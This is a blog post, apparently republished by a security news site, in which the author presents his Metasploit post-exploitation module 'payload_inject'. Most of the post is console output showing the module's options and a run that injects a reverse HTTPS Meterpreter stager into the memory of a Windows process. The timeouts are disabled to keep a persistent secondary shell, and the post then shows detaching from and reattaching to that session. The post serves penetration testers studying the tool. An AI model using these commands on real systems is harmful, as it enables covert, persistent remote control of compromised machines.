Malware, Vulnerability Management

Injecting Payloads into Memory


Markdown Preview

Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of:

  • Injecting a Windows Payload in to 32bit and 64bit Processes.
  • Check that both the payload and the process are of the same architecture.
  • Start a temporary process with the appropriate architecture.
  • Be able to provide a flexible option list since different payloads have different options.

So payload_inject was born in a flight from Kentucky to Puerto Rico.

Lets start by looking at the module and it’s options from inside a Meterpreter session:

msf  post(persistence) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > info post/windows/manage/payload_inject
Name: Windows Manage Memory Payload Injection Module
Module: post/windows/manage/payload_inject
Version: 14039
Platform: Windows
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
This module will inject into the memory of a process a specified
windows payload. If a payload or process is not provided one will be
created by default using a reverse x86 TCP Meterpreter Payload.
Module options (post/windows/manage/payload_inject):
Name     Current Setting                  Required  Description
----     ---------------                  --------  -----------
HANDLER  false                            no        Start an Exploit Multi Handler to receive the connection
LHOST                                     yes       IP of host that will receive the connection from the payload.
LPORT    4433                             no        Port for Payload to connect to.
OPTIONS                                   no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
PAYLOAD  windows/meterpreter/reverse_tcp  no        Windows Payload to inject into memory of a process.
PID                                       no        Process Identifier to inject of process to inject payload.
SESSION                                   yes       The session to run this module on.

Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell:

meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384'
[*] Running module against WIN701
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384
[*] Opening process 3384
[*] Generating payload
[*] Allocating memory in process 3384
[*] Allocated memory at address 0x006e0000, for 369 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3384
meterpreter >
[*] Request received for /INITM...
[*] Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 7 opened ( -> at 2011-10-28 17:47:46 -0400

One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener:

meterpreter > background
msf  post(persistence) > sessions -i 7
[*] Starting interaction with 7...
meterpreter > detach
[*] Meterpreter session 7 closed.  Reason: User exit
msf  post(persistence) >
[*] Request received for /CONN_bPXZiVo1IOWy8xFv/...
[*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching...
[*] Meterpreter session 7 opened ( -> at 2011-10-28 17:55:12 -0400

We can do the same with any Windows compatible payload. I hope you find the module useful.

Carlos Perez

Carlos is currently the Principal Consultant, Team Lead for Research at TrustedSec and well-known for his research on both Metasploit and Windows Powershell. His blog carries the tag line: “Shell Is Only The Beginning”.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms and Conditions and Privacy Policy.